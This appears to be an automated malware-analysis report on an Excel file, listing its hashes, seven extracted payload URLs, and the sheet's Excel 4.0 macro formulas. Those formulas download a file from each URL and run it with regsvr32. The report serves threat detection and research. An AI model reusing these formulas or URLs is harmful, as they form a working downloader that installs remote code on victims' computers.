Static task
static1
Behavioral task
behavioral1
Sample
697815dd1ee6908522d764c6820d5516d139fcecfccfd7da7c39e0b04193e378.xlsx
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
697815dd1ee6908522d764c6820d5516d139fcecfccfd7da7c39e0b04193e378.xlsx
Resource
win10v2004-20240802-en
General
-
Target
697815dd1ee6908522d764c6820d5516d139fcecfccfd7da7c39e0b04193e378
-
Size
33KB
-
MD5
56de3d47c8fb7dee735cebf3493c46ae
-
SHA1
35229b0e246c27b83b01b3a2b800b79acf3749ea
-
SHA256
697815dd1ee6908522d764c6820d5516d139fcecfccfd7da7c39e0b04193e378
-
SHA512
91f5369fc54db103e86c27c7384f0d217790440afc9df20f7498fded5482c2afbb3b6a6f2ce4500f2be9cf86ac72b02b5857ccf95a7f92737175bcaff2ca5ef8
-
SSDEEP
768:ZCW3jwEEDvp96wU1+FCh+JJwthSy+e8GgkYRsTwd:0W3IT6Z4FLLwtzlWs8d
Malware Config
Extracted
https://pianistprodigy.com/demolms/Ax6ZgvEJJ8HEKfXrp/
https://risamfg.com/wp-admin/JtqFQW/
https://thailand-rocco.com/wp-content/gE7UvFwLh/
https://pregy.org/test/rXTl1DEv0CWCE/
https://romusreselling.xyz/wordpress/Lgv7VKTvFFuBH8uct2Eq/
https://olawyer.net/wp-includes/e8jtEIL3lFkImOvd9k/
https://tebetdanelon.com.br/wp-content/iVrceXC3knlRRl/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://pianistprodigy.com/demolms/Ax6ZgvEJJ8HEKfXrp/","..\wnru.ocx",0,0) =IF('HUNJK'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://risamfg.com/wp-admin/JtqFQW/","..\wnru.ocx",0,0)) =IF('HUNJK'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://thailand-rocco.com/wp-content/gE7UvFwLh/","..\wnru.ocx",0,0)) =IF('HUNJK'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://pregy.org/test/rXTl1DEv0CWCE/","..\wnru.ocx",0,0)) =IF('HUNJK'!E21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://romusreselling.xyz/wordpress/Lgv7VKTvFFuBH8uct2Eq/","..\wnru.ocx",0,0)) =IF('HUNJK'!E23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://olawyer.net/wp-includes/e8jtEIL3lFkImOvd9k/","..\wnru.ocx",0,0)) =IF('HUNJK'!E25<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://tebetdanelon.com.br/wp-content/iVrceXC3knlRRl/","..\wnru.ocx",0,0)) =IF('HUNJK'!E27<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\wnru.ocx") =RETURN()
Signatures
Files
-
697815dd1ee6908522d764c6820d5516d139fcecfccfd7da7c39e0b04193e378.xlsx office2007